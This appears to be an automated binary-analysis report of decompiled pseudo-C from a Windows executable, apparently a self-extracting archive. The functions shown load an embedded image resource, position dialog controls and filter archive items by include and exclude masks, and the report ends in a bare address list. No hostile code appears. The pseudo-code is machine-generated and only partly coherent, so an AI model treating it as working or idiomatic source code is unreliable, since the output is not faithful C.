API ID: Item$Window$Long$MessageSend$System$EnableHandleLoadMenuMetricsModuleShow$??3@CreateFocusIconImageInstanceTextTimerUnothrow_t@std@@@__ehfuncinfo$??2@wsprintf
String ID:
API String ID: 957878288-0
Opcode ID: e2f02459deb40e79b423d59a5e6600ce65444f24f98bf66ec9fc20f3b27b8bdb
Instruction ID: 82f3168065e5e37885ea10ad8f323bea47048e436c2f5ba3df634f29c1837039
Opcode Fuzzy Hash: e2f02459deb40e79b423d59a5e6600ce65444f24f98bf66ec9fc20f3b27b8bdb
Instruction Fuzzy Hash: E14155B0604709BBDA206B21DD49F5B7B9DEB84B04F40453EF555A62E1CB79AC01CB2D

Uniqueness

Uniqueness Score: -1.00%

Function 00403B31, Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 121
windowcommemoryCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E00403B31(struct HWND__* __ecx) {
				int _v8;
				long _v12;
				void* _v16;
				struct HWND__* _v20;
				void* _v24;
				int _v40;
				int _v44;
				void _v48;
				char _v112;
				char* _t41;
				intOrPtr* _t44;
				intOrPtr* _t47;
				intOrPtr* _t49;
				void* _t53;
				void* _t57;
				void* _t67;
				struct HWND__* _t68;

				_t68 = __ecx;
				_v20 = __ecx;
				if(GetClassNameA(__ecx,  &_v112, 0x40) == 0 || lstrcmpiA( &_v112, "STATIC") != 0 || (GetWindowLongW(_t68, 0xfffffff0) & 0x0000000e) == 0) {
					L13:
					return 0;
				} else {
					_t57 = E00403908("IMAGES", GetMenu(_t68),  &_v12);
					if(_t57 == 0 || _v12 < 0x10) {
						goto L13;
					} else {
						_t67 = GlobalAlloc(0x40, _v12);
						if(_t67 == 0) {
							goto L13;
						}
						memcpy(_t67, _t57, _v12);
						__imp__CoInitialize(0);
						_t41 =  &_v16;
						__imp__CreateStreamOnHGlobal(_t67, 0, _t41);
						if(_t41 != 0 || _v16 == 0) {
							GlobalFree(_t67);
							goto L13;
						} else {
							__imp__#418(_v16, 0, 0, 0x41fa34,  &_v24);
							_t44 = _v16;
							 *((intOrPtr*)( *_t44 + 8))(_t44);
							GlobalFree(_t67);
							_t47 = _v24;
							if(_t47 == 0) {
								goto L13;
							}
							_v8 = 0;
							 *((intOrPtr*)( *_t47 + 0xc))(_t47,  &_v8);
							_t62 = _v8;
							if(_v8 != 0) {
								_t53 = E004039F1(_t62);
								_v8 = _t53;
								GetObjectW(_t53, 0x18,  &_v48);
								SetWindowPos(_v20, 0, 0, 0, _v44, _v40, 6);
								SendMessageW(_v20, 0x172, 0, _v8);
							}
							_t49 = _v24;
							 *((intOrPtr*)( *_t49 + 8))(_t49);
							return 1;
						}
					}
				}
			}

APIs

GetClassNameA.USER32(?,?,00000040), ref: 00403B46
lstrcmpiA.KERNEL32(?,STATIC,?,?,00000040), ref: 00403B5D
GetWindowLongW.USER32(?,000000F0), ref: 00403B6E
GetMenu.USER32 ref: 00403B81

Part of subcall function 00403908: GetModuleHandleW.KERNEL32(00000000), ref: 00403919
Part of subcall function 00403908: FindResourceExA.KERNEL32(00000000,?,?), ref: 00403937
Part of subcall function 00403908: FindResourceExA.KERNEL32(?,?,?,00000409), ref: 0040394E
Part of subcall function 00403908: SizeofResource.KERNEL32(?,00000000), ref: 00403961
Part of subcall function 00403908: LoadResource.KERNEL32(?,00000000), ref: 0040396D
Part of subcall function 00403908: LockResource.KERNEL32(00000000), ref: 00403978

GlobalAlloc.KERNEL32(00000040,00000010,?,?,000000F0,?,?,00000040), ref: 00403BAE
memcpy.MSVCRT ref: 00403BC3
CoInitialize.OLE32(00000000), ref: 00403BCC
CreateStreamOnHGlobal.OLE32(00000000,00000000,?), ref: 00403BD8
OleLoadPicture.OLEAUT32(?,00000000,00000000,0041FA34,?), ref: 00403BFD
GlobalFree.KERNEL32 ref: 00403C0D

Part of subcall function 004039F1: GetWindowDC.USER32(00000000), ref: 00403A00
Part of subcall function 004039F1: GetDeviceCaps.GDI32(00000000,00000058), ref: 00403A0C
Part of subcall function 004039F1: MulDiv.KERNEL32(00000000,00000064,00000060), ref: 00403A25
Part of subcall function 004039F1: GetObjectW.GDI32(?,00000018,?), ref: 00403A5C
Part of subcall function 004039F1: MulDiv.KERNEL32(?,00000003,00000002), ref: 00403A69
Part of subcall function 004039F1: MulDiv.KERNEL32(?,00000003,00000002), ref: 00403A75
Part of subcall function 004039F1: CreateCompatibleDC.GDI32(?), ref: 00403A83
Part of subcall function 004039F1: CreateCompatibleDC.GDI32(?), ref: 00403A8B
Part of subcall function 004039F1: SelectObject.GDI32(00000002,?), ref: 00403A9B
Part of subcall function 004039F1: CreateCompatibleBitmap.GDI32(?,?,?), ref: 00403AA9
Part of subcall function 004039F1: SelectObject.GDI32(00000000,00000000), ref: 00403AB1
Part of subcall function 004039F1: SetStretchBltMode.GDI32(00000000,00000004), ref: 00403AB9
Part of subcall function 004039F1: StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000002,00000000,00000000,?,?,00CC0020), ref: 00403AD8
Part of subcall function 004039F1: GetCurrentObject.GDI32(00000000,00000007), ref: 00403AE1
Part of subcall function 004039F1: SelectObject.GDI32(00000002,?), ref: 00403AF0
Part of subcall function 004039F1: SelectObject.GDI32(00000000,?), ref: 00403AF6
Part of subcall function 004039F1: DeleteDC.GDI32(00000002), ref: 00403B01
Part of subcall function 004039F1: DeleteDC.GDI32(00000000), ref: 00403B04
Part of subcall function 004039F1: ReleaseDC.USER32 ref: 00403B0A

GetObjectW.GDI32(00000000,00000018,?), ref: 00403C3D
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000006), ref: 00403C51
SendMessageW.USER32(?,00000172,00000000,?), ref: 00403C63
GlobalFree.KERNEL32 ref: 00403C78

Strings

IMAGES, xrefs: 00403B89
STATIC, xrefs: 00403B54

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: Object$Resource$CreateGlobalSelect$CompatibleWindow$DeleteFindFreeLoadStretch$AllocBitmapCapsClassCurrentDeviceHandleInitializeLockLongMenuMessageModeModuleNamePictureReleaseSendSizeofStreamlstrcmpimemcpy
String ID: IMAGES$STATIC
API String ID: 4202116410-1168396491
Opcode ID: 0927fdd96c8a672e4edb8bf6fba54bde9fa129fa8547b2b49592ff7c41df4a32
Instruction ID: b651b05a898d6b36c18c6da2e71faa2375cac1702eff8c2c698f256589fd88ae
Opcode Fuzzy Hash: 0927fdd96c8a672e4edb8bf6fba54bde9fa129fa8547b2b49592ff7c41df4a32
Instruction Fuzzy Hash: 5A412CB2A00218BBDB119FA1CD48DEFBF7DEF4A701B104466F915F2190D7788A41CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00407ACF, Relevance: 27.3, APIs: 18, Instructions: 297
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00407ACF(void* __ecx, int __edx) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				struct HWND__* _v16;
				int _v20;
				intOrPtr _v24;
				struct HWND__* _v28;
				int _v32;
				struct tagRECT _v48;
				intOrPtr _t116;
				int _t118;
				int _t120;
				struct HWND__* _t131;
				int _t139;
				void* _t166;
				signed int _t168;
				int _t210;
				struct HWND__* _t211;
				long _t215;
				intOrPtr _t219;
				intOrPtr _t225;
				int _t231;
				int _t234;
				int _t235;
				void* _t239;

				_t234 = __edx;
				_t239 = __ecx;
				_v28 = 0;
				_v12 = 0;
				_v8 = 0;
				_v16 = 0;
				if((GetWindowLongW(GetDlgItem( *(__ecx + 4), 0x4b3), 0xfffffff0) & 0x10000000) != 0) {
					E00407925(_t239, 0x4b3,  &_v48);
					_v28 = 0x4b3;
					_v16 = _v48.right.x - _v48.left;
					_v24 = _v48.bottom - _v48.top;
				}
				if((GetWindowLongW(GetDlgItem( *(_t239 + 4), 0x4b4), 0xfffffff0) & 0x10000000) != 0) {
					E00407925(_t239, 0x4b4,  &_v48);
					_v28 = 0x4b4;
					_v8 = _v48.right.x - _v48.left;
					_v24 = _v48.bottom - _v48.top;
				}
				_t219 = _v16;
				_t116 = _v8;
				if(_t219 > 0 && _t116 > 0) {
					if(_t116 <= _t219) {
						_v8 = _t219;
						_t116 = _t219;
					} else {
						_v16 = _t116;
						_t219 = _t116;
					}
				}
				if(_v28 == 0) {
					L15:
					_t118 = _v12 + 0x1a;
					if(_t118 >  *(_t239 + 0x14)) {
						 *(_t239 + 0x14) = _t118;
					}
					_v12 = _t118 - 0x1a;
					_t120 = GetSystemMetrics(0x10);
					_v32 = GetSystemMetrics(0x11);
					 *(_t239 + 0x14) =  *(_t239 + 0x14) + GetSystemMetrics(8);
					 *(_t239 + 0x18) =  *(_t239 + 0x18) + GetSystemMetrics(7);
					asm("cdq");
					_t210 = _t120 -  *(_t239 + 0x14) - _t234 >> 1;
					asm("cdq");
					_v20 = _v32 -  *(_t239 + 0x18) - _t234 >> 1;
					_t131 = GetParent( *(_t239 + 4));
					_v32 = _t131;
					if(_t131 != 0) {
						GetClientRect(_t131,  &_v48);
						ClientToScreen(_v32,  &_v48);
						ClientToScreen(_v32,  &(_v48.right));
						_t215 = _v48.left;
						_t235 =  *(_t239 + 0x14);
						_t231 = _v48.top;
						_v20 = _t231;
						if(_v48.right.x - _t215 > _t235) {
							asm("cdq");
							_t215 = (_v48.right.x - _t235 - _t215 - _t235 >> 1) + _v48.left;
						}
						_t234 =  *(_t239 + 0x18);
						if(_v48.bottom - _t231 > _t234) {
							asm("cdq");
							_v20 = (_v48.bottom - _t234 - _t231 - _t234 >> 1) + _t231;
						}
						_t210 = _t215 + 0xa;
						_v20 = _v20 + 0xa;
					}
					SetWindowPos( *(_t239 + 4), 0, _t210, _v20,  *(_t239 + 0x14),  *(_t239 + 0x18), 4);
					_t211 = 0;
					if( *((intOrPtr*)(_t239 + 0x30)) == 0) {
						E00407AA0(_t239, 0x4b2, 0xc, 0xa,  *((intOrPtr*)(_t239 + 0x28)) + 1,  *((intOrPtr*)(_t239 + 0x2c)) + 1, 0);
					} else {
						SetWindowPos(GetDlgItem( *(_t239 + 4), 0x4b1), 0, 0xc, 0xc, 0, 0, 5);
						E00407925(_t239, 0x4b1,  &_v48);
						_t225 =  *((intOrPtr*)(_t239 + 0x2c));
						_t166 = 2;
						_v48.bottom = _v48.bottom + _t166 - _v48.top;
						if(_t225 >= _v48.bottom) {
							_t168 = 0;
						} else {
							asm("cdq");
							_t168 = _v48.bottom - _t225 - _t234 >> 1;
						}
						E00407AA0(_t239, 0x4b2, _v48.right.x + 0xb, _t168 + 0xa,  *((intOrPtr*)(_t239 + 0x28)) + 1, _t225 + 1, 0);
						_t211 = 0;
					}
					if(_v28 != _t211) {
						GetClientRect( *(_t239 + 4),  &_v48);
						if(_v16 == _t211 || _v8 == _t211) {
							_push(1);
							_push(_t211);
							_push(_t211);
							_push(_v48.bottom - _v24 - 0xa);
							asm("cdq");
							_push(_v48.right.x - _v12 - _t234 >> 1);
							_push(_v28);
						} else {
							asm("cdq");
							E00407AA0(_t239, 0x4b3, _v48.right.x - _v12 - _t234 >> 1, _v48.bottom - _v24 - 0xa, _v16, _v24, _t211);
							E00407925(_t239, 0x4b3,  &_v48);
							_push(0);
							_push(_v24);
							_push(_v8);
							_push(_v48.top);
							_push(_v48.right.x + 0xa);
							_push(0x4b4);
						}
						E00407AA0(_t239);
					}
					 *(_t239 + 0x14) =  *(_t239 + 0x14) - GetSystemMetrics(8);
					_t139 = GetSystemMetrics(7);
					 *(_t239 + 0x18) =  *(_t239 + 0x18) - _t139;
					return _t139;
				} else {
					if(_t219 == 0) {
						L13:
						_v12 = _t116;
						goto L15;
					}
					if(_t116 == 0) {
						_v12 = _t219;
						goto L15;
					}
					_t116 = _t116 + _t219 + 0xa;
					goto L13;
				}
			}

APIs

GetDlgItem.USER32 ref: 00407AF7
GetWindowLongW.USER32(00000000,000000F0), ref: 00407AFC
GetDlgItem.USER32 ref: 00407B33
GetWindowLongW.USER32(00000000,000000F0), ref: 00407B38
GetSystemMetrics.USER32 ref: 00407BBA
GetSystemMetrics.USER32 ref: 00407BC0
GetSystemMetrics.USER32 ref: 00407BC7
GetSystemMetrics.USER32 ref: 00407BCE
GetParent.USER32(?), ref: 00407BF0
GetClientRect.USER32 ref: 00407C02
ClientToScreen.USER32(?,?), ref: 00407C15
SetWindowPos.USER32(?,00000000,?,?,?,00000000,00000004), ref: 00407C7B
GetDlgItem.USER32 ref: 00407C9A
SetWindowPos.USER32(00000000), ref: 00407CA1
GetClientRect.USER32 ref: 00407D21

Part of subcall function 00407AA0: GetDlgItem.USER32 ref: 00407ABE
Part of subcall function 00407AA0: SetWindowPos.USER32(00000000), ref: 00407AC5

ClientToScreen.USER32(?,?), ref: 00407C1E

Part of subcall function 00407925: GetDlgItem.USER32 ref: 0040792D

GetSystemMetrics.USER32 ref: 00407DA6
GetSystemMetrics.USER32 ref: 00407DAD

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: MetricsSystem$ItemWindow$Client$LongRectScreen$Parent
String ID:
API String ID: 2671006076-0
Opcode ID: ee3a9b64024e76f4bf430920567e8bf6af21306f3b050522a7c71071a4c730ea
Instruction ID: 79bfce518a1b3777c3be141dac1d4c923f3e13946b8f7072fb596655451fe251
Opcode Fuzzy Hash: ee3a9b64024e76f4bf430920567e8bf6af21306f3b050522a7c71071a4c730ea
Instruction Fuzzy Hash: 1FA13BB1E04209AFDB10DFB9CD85AEEBBF9EF48304F144529E615F2291D778E9008B65

Uniqueness

Uniqueness Score: -1.00%

Function 004028F2, Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 294
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E004028F2(signed int* _a4, long _a8, signed int* _a12, signed int _a16) {
				char _v16;
				signed int _v24;
				char _v28;
				long _v32;
				signed int _v36;
				short _v42;
				signed short _v44;
				signed int _v52;
				short _v58;
				signed int _v60;
				struct _SYSTEMTIME _v76;
				signed int _t108;
				intOrPtr* _t110;
				signed int _t111;
				signed int _t116;
				intOrPtr* _t119;
				intOrPtr* _t122;
				signed int _t123;
				intOrPtr* _t125;
				signed int _t126;
				intOrPtr* _t130;
				signed int _t131;
				signed int _t132;
				signed int _t136;
				signed int _t138;
				signed int _t141;
				signed int _t149;
				signed int _t150;
				signed int _t151;
				signed int _t152;
				signed int _t154;
				signed int _t161;
				signed int _t171;
				intOrPtr _t184;
				signed int* _t211;
				intOrPtr* _t213;
				intOrPtr* _t218;
				signed int _t219;
				intOrPtr _t221;

				_t221 =  *0x4228cc; // 0x0
				if(_t221 == 0) {
					 *_a12 = 0;
					__eflags = _a16;
					if(_a16 == 0) {
						_t218 = _a4;
						_t211 = _t218 + 0x20;
						_t108 =  *_t211;
						_a4 = _t211;
						__eflags = _t108;
						if(_t108 != 0) {
							 *((intOrPtr*)( *_t108 + 8))(_t108);
							 *_t211 = 0;
						}
						_v60 = 0;
						_v58 = 0;
						_t110 =  *0x4227c0; // 0x566888
						_v52 = 0;
						_t111 =  *((intOrPtr*)( *_t110 + 0x18))(_t110, _a8, 3,  &_v60);
						__eflags = _t111;
						if(_t111 == 0) {
							E004147DF(_t111,  &_v16);
							__eflags = _v60;
							if(_v60 == 0) {
								L50:
								_t219 =  *((intOrPtr*)( *_t218 + 0x1c))(_t218, 0x64);
								L51:
								_push(_v16);
								L0041C160();
								L52:
								goto L53;
							}
							__eflags = _v60 - 8;
							if(_v60 != 8) {
								goto L50;
							}
							E00414864( &_v16, _v52);
							_t119 = E0041476B( &_v28, _t218 + 0xc,  &_v16);
							_t213 = _t218 + 0x24;
							E00414864(_t213,  *_t119);
							L0041C160();
							_v44 = 0;
							_v42 = 0;
							_t122 =  *0x4227c0; // 0x566888
							_v36 = 0;
							_t123 =  *((intOrPtr*)( *_t122 + 0x18))(_t122, _a8, 9,  &_v44, _v28);
							_a16 = _t123;
							__eflags = _t123;
							if(_t123 == 0) {
								__eflags = _v44;
								if(_v44 != 0) {
									__eflags = _v44 - 0x13;
									if(_v44 == 0x13) {
										 *((intOrPtr*)(_t218 + 0x44)) = _v36;
										L20:
										_t125 =  *0x4227c0; // 0x566888
										_t126 =  *((intOrPtr*)( *_t125 + 0x18))(_t125, _a8, 6,  &_v44);
										_a16 = _t126;
										__eflags = _t126;
										if(_t126 != 0) {
											goto L11;
										}
										__eflags = _v36;
										_t207 =  &_v44;
										 *(_t218 + 0x40) = 0 | _v36 != 0x00000000;
										_t130 =  *0x4227c0; // 0x566888
										_t131 =  *((intOrPtr*)( *_t130 + 0x18))(_t130, _a8, 0xc,  &_v44);
										_a8 = _t131;
										__eflags = _t131;
										if(_t131 == 0) {
											_t132 = _v44 & 0x0000ffff;
											__eflags = _t132;
											if(_t132 == 0) {
												GetLocalTime( &_v76);
												_t170 = _t218 + 0x38;
												SystemTimeToFileTime( &_v76, _t218 + 0x38);
												L28:
												__eflags =  *(_t218 + 0x40);
												_t184 =  *_t213;
												if( *(_t218 + 0x40) == 0) {
													_t136 = E00404402(_t184, _t170);
													__eflags = _t136 - 0xffffffff;
													if(_t136 == 0xffffffff) {
														_t138 =  *((intOrPtr*)( *_t218 + 0x20))(_t218, 0x69, GetLastError());
														L17:
														_t219 = _t138;
														L18:
														E00414129( &_v44);
														goto L51;
													}
													__eflags = _t136 - 1;
													if(_t136 == 1) {
														L31:
														E00414129( &_v44);
														_push(_v16);
														L0041C160();
														_t219 = 0;
														goto L52;
													}
													_push(0x18);
													L0041C16C();
													_t171 = 0;
													__eflags = _t136;
													if(_t136 != 0) {
														 *((intOrPtr*)(_t136 + 4)) = 0;
														 *_t136 = 0x41db9c;
														_t67 = _t136 + 8;
														 *_t67 =  *(_t136 + 8) | 0xffffffff;
														__eflags =  *_t67;
														_t171 = _t136;
													}
													 *(_t218 + 0x1c) = _t171;
													__eflags = _t171;
													if(_t171 != 0) {
														 *((intOrPtr*)( *_t171 + 4))(_t171);
													}
													_t141 =  *(_t218 + 0x1c);
													 *(_t141 + 0x10) =  *(_t141 + 0x10) & 0x00000000;
													 *(_t141 + 0x14) =  *(_t141 + 0x14) & 0x00000000;
													__eflags = E00414091( *_t213, 1);
													if(__eflags != 0) {
														L48:
														E004160A2(_a4, _t171);
														 *_a12 = _t171;
														E00414129( &_v44);
														_push(_v16);
														L0041C160();
														E00414129( &_v60);
														_t116 = 0;
														goto L54;
													} else {
														_a8 = GetLastError();
														E00414839( &_v28, _t213);
														_t149 = E00403813( &_v28, __eflags);
														__eflags = _t149;
														if(_t149 >= 0) {
															_v24 = _t149;
															 *((short*)(_v28 + _t149 * 2)) = 0;
															_t150 = E0040468A(_v28, _v28);
															__eflags = _t150;
															if(_t150 != 0) {
																_t151 =  *(_t218 + 0x1c);
																 *(_t151 + 0x10) =  *(_t151 + 0x10) & 0x00000000;
																 *(_t151 + 0x14) =  *(_t151 + 0x14) & 0x00000000;
																_t152 = E00414091( *_t213, 1);
																__eflags = _t152;
																if(_t152 != 0) {
																	_push(_v28);
																	L0041C160();
																	goto L48;
																}
																_t154 =  *((intOrPtr*)( *_t218 + 0x20))(_t218, 0x6a, GetLastError());
																L41:
																_push(_v28);
																_t219 = _t154;
																L0041C160();
																__eflags = _t171;
																if(_t171 != 0) {
																	 *((intOrPtr*)( *_t171 + 8))(_t171);
																}
																goto L18;
															}
															_t154 =  *((intOrPtr*)( *_t218 + 0x1c))(_t218, 0x68);
															goto L41;
														}
														_t154 =  *((intOrPtr*)( *_t218 + 0x20))(_t218, 0x6a, _a8);
														goto L41;
													}
												}
												_t161 = E0040468A(_t184, _t207);
												__eflags = _t161;
												if(_t161 != 0) {
													goto L31;
												}
												_push(0x68);
												L16:
												_t138 =  *((intOrPtr*)( *_t218 + 0x1c))(_t218);
												goto L17;
											}
											__eflags = _t132 - 0x40;
											if(_t132 == 0x40) {
												_t170 = _t218 + 0x38;
												_t170->dwLowDateTime = _v36;
												_t170->dwHighDateTime = _v32;
												goto L28;
											}
											_push(0x66);
											goto L16;
										}
										E00414129( &_v44);
										_push(_v16);
										L0041C160();
										_t219 = _a8;
										goto L52;
									}
									_push(0x65);
									goto L16;
								}
								 *((intOrPtr*)(_t218 + 0x44)) = 0;
								goto L20;
							}
							L11:
							E00414129( &_v44);
							_push(_v16);
							L0041C160();
							_t219 = _a16;
							goto L52;
						} else {
							_t219 = _t111;
							L53:
							E00414129( &_v60);
							_t116 = _t219;
							L54:
							return _t116;
						}
					}
					return 0;
				}
				return 0x80004004;
			}

Strings

&@, xrefs: 00402B09

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: &@
API String ID: 0-1362318888
Opcode ID: b7fbd988b64781429b81ba310ec4e62d19a5b3305f7436989cb52ee7a0cdd989
Instruction ID: 0c2c45a1d49559d50b2892bbdf1ddf1765a092562d7aa30539bf8f0f12bc17d3
Opcode Fuzzy Hash: b7fbd988b64781429b81ba310ec4e62d19a5b3305f7436989cb52ee7a0cdd989
Instruction Fuzzy Hash: 42B16171A00205AFCB20EFA4C9889EE77B5FF48314F14452AF502BB2D1DBB89985CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00402CB1, Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00402CB1(intOrPtr* __ecx, void* __edx, void* __eflags) {
				char _v5;
				signed int _v12;
				signed int _v16;
				char* _v20;
				signed int _v24;
				char* _v28;
				signed int _v32;
				short _v36;
				short _v40;
				intOrPtr* _v44;
				char _v56;
				char _v68;
				char _v80;
				signed int _v88;
				char _v92;
				short _v94;
				char _v96;
				char _v104;
				signed int _t93;
				signed int _t96;
				signed int _t97;
				signed int _t98;
				intOrPtr _t100;
				intOrPtr* _t104;
				signed int _t105;
				signed int _t108;
				signed int _t109;
				signed int _t110;
				signed int _t111;
				signed int _t114;
				signed int _t115;
				signed int _t118;
				signed int _t119;
				char* _t132;
				intOrPtr _t147;
				void* _t175;
				signed int _t177;
				char* _t181;
				intOrPtr _t182;
				signed int _t186;
				intOrPtr _t190;
				intOrPtr _t191;

				_t175 = __edx;
				 *0x422774 =  *0x422774 & 0xfffffff7;
				_v44 = __ecx;
				_v40 = 0;
				_t93 = E00401303(0x4227b8, __eflags);
				if(_t93 != 0) {
					__eflags =  *0x4228d8 - 2;
					if( *0x4228d8 == 2) {
						L9:
						_push(0x48);
						L0041C16C();
						__eflags = _t93;
						if(_t93 == 0) {
							_v36 = 0;
						} else {
							_v36 = E004025B4(_t93);
						}
						_t181 = L"ExtractMaskInclude";
						E00402C44(_t181);
						_t132 = L"ExtractMaskExclude";
						E00402C44(_t132);
						__eflags =  *0x422774 & 0x00000020;
						_v28 = _t132;
						_v20 = _t181;
						if(( *0x422774 & 0x00000020) != 0) {
							_v28 = _t181;
							_v20 = _t132;
						}
						_t96 = E00404F59();
						__eflags = _t96;
						if(_t96 == 0) {
							E004147DF(E004147DF(_t96,  &_v104),  &_v92);
							E00414864( &_v104, _v20);
							E00414864( &_v92, 0x41dbb8);
							E0040287B( &_v104, 0x4227a0, 0,  &_v104);
							_push(_v92);
							L0041C160();
							_push(_v104);
							L0041C160();
						}
						_t97 = E0040115F(0x4227b8);
						_t177 = 4;
						_v32 = _t97;
						_t178 = _t97 * _t177 >> 0x20;
						_t98 = _t97 * _t177;
						_push( ~(0 | __eflags > 0x00000000) | _t98);
						L0041C16C();
						_t182 = 0;
						_t186 = 0;
						_v24 = _t98;
						__eflags = _v32;
						if(_v32 <= 0) {
							L39:
							_t147 = _v36;
							 *((intOrPtr*)(_t147 + 0x30)) = _v24;
							 *(_t147 + 0x34) = _t186;
							__eflags = _t186;
							if(_t186 != 0) {
								_v40 = E00402766(_t147, _t178,  *_v44);
							}
							_push(_v24);
							L0041C160();
							_t100 = _v40;
							L42:
							L43:
							return _t100;
						} else {
							do {
								_v88 = _v88 & 0;
								_t178 =  &_v96;
								_v96 = 0;
								_v94 = 0;
								_t104 =  *0x4227c0; // 0x566888
								_t105 =  *((intOrPtr*)( *_t104 + 0x18))(_t104, _t182, 3,  &_v96);
								__eflags = _t105;
								if(_t105 != 0) {
									goto L38;
								}
								__eflags = _v96 - 8;
								if(_v96 != 8) {
									goto L38;
								}
								E00414803( &_v56, _v88);
								_v16 = _v16 & 0x00000000;
								_t40 =  &_v12;
								 *_t40 = _v12 & 0x00000000;
								__eflags =  *_t40;
								do {
									_t178 =  &_v12;
									_t108 = E00404F59();
									__eflags = _t108;
									if(_t108 == 0) {
										break;
									}
									_v12 = _v12 + 1;
									E00414803( &_v68, _t108);
									_t178 =  &_v56;
									_t118 = E00414C8A( &_v68,  &_v56);
									_push(_v68);
									__eflags = _t118;
									_v5 = _t118 != 0;
									L0041C160();
									__eflags = _v5;
									if(_v5 != 0) {
										_t178 = _v28;
										_t119 = E00402510(_t182, _v28);
										__eflags = _t119;
										if(_t119 != 0) {
											 *((intOrPtr*)(_v24 + _t186 * 4)) = _t182;
											_t186 = _t186 + 1;
											__eflags = _t186;
										}
										_v16 = 1;
									}
									__eflags = _v16;
								} while (_v16 == 0);
								_v12 = _v12 & 0x00000000;
								__eflags = _v16;
								if(_v16 != 0) {
									L37:
									_push(_v56);
									L0041C160();
									goto L38;
								} else {
									goto L27;
								}
								do {
									L27:
									_t178 =  &_v12;
									_t109 = E00404F59();
									__eflags = _t109;
									if(_t109 == 0) {
										break;
									}
									_v12 = _v12 + 1;
									E00414803( &_v80, _t109);
									_t178 =  &_v56;
									_t114 = E00414C8A( &_v80,  &_v56);
									_push(_v80);
									__eflags = _t114;
									L0041C160();
									__eflags = _t132 & 0xffffff00 | _t114 != 0x00000000;
									if((_t132 & 0xffffff00 | _t114 != 0x00000000) != 0) {
										_t178 = _v20;
										_t115 = E00402510(_t182, _v20);
										__eflags = _t115;
										if(_t115 != 0) {
											 *((intOrPtr*)(_v24 + _t186 * 4)) = _t182;
											_t186 = _t186 + 1;
											__eflags = _t186;
										}
										_v16 = 1;
									}
									__eflags = _v16;
									_t132 = L"ExtractMaskExclude";
								} while (_v16 == 0);
								__eflags = _v16;
								if(_v16 == 0) {
									_t178 = _t132;
									_t110 = E0041422F(_t132);
									__eflags = _t110;
									if(_t110 == 0) {
										_t178 = L"ExtractMaskInclude";
										_t111 = E00402510(_t182, L"ExtractMaskInclude");
										__eflags = _t111;
										if(_t111 != 0) {
											 *((intOrPtr*)(_v24 + _t186 * 4)) = _t182;
											_t186 = _t186 + 1;
											__eflags = _t186;
										}
									}
								}
								goto L37;
								L38:
								E00414129( &_v96);
								_t182 = _t182 + 1;
								__eflags = _t182 - _v32;
							} while (_t182 < _v32);
							goto L39;
						}
					}
					_t93 = E0040468A( *__ecx, _t175);
					__eflags = _t93;
					if(_t93 != 0) {
						goto L9;
					} else {
						_t100 = 0x80004005;
						goto L43;
					}
				}
				_t190 =  *0x422700; // 0x0
				if(_t190 != 0) {
					L4:
					_push(0x13);
					L5:
					_pop(_t128);
					_push(0);
					E00409684(_t175);
					_t100 = 0x80004005;
					goto L42;
				}
				_t191 =  *0x422704; // 0x0
				if(_t191 != 0) {
					goto L4;
				} else {
					_push(8);
					goto L5;
				}
			}

0x00402cb1
0x00402cb7
0x00402ccc
0x00402ccf
0x00402cd2
0x00402cd9
0x00402d04
0x00402d0b
0x00402d22
0x00402d22
0x00402d24
0x00402d2a
0x00402d2c
0x00402d3a
0x00402d2e
0x00402d35
0x00402d35
0x00402d3d
0x00402d44
0x00402d49
0x00402d50
0x00402d55
0x00402d5c
0x00402d5f
0x00402d62
0x00402d64
0x00402d67
0x00402d67
0x00402d6f
0x00402d74
0x00402d76
0x00402d83
0x00402d8e
0x00402d9b
0x00402da9
0x00402dae
0x00402db1
0x00402db6
0x00402db9
0x00402dbf
0x00402dc2
0x00402dcb
0x00402dcc
0x00402dcf
0x00402dcf
0x00402dd8
0x00402dd9
0x00402dde
0x00402de0
0x00402de3
0x00402de6
0x00402de9
0x00402f44
0x00402f44
0x00402f4a
0x00402f4d
0x00402f50
0x00402f52
0x00402f5e
0x00402f5e
0x00402f61
0x00402f64
0x00402f69
0x00402f6c
0x00402f6d
0x00402f71
0x00402def
0x00402def
0x00402df1
0x00402df4
0x00402dfa
0x00402dfe
0x00402e02
0x00402e0b
0x00402e0e
0x00402e10
0x00000000
0x00000000
0x00402e16
0x00402e1b
0x00000000
0x00000000
0x00402e27
0x00402e2c
0x00402e30
0x00402e30
0x00402e30
0x00402e34
0x00402e37
0x00402e3a
0x00402e3f
0x00402e41
0x00000000
0x00000000
0x00402e43
0x00402e4a
0x00402e4f
0x00402e55
0x00402e5a
0x00402e5d
0x00402e5f
0x00402e63
0x00402e68
0x00402e6d
0x00402e6f
0x00402e74
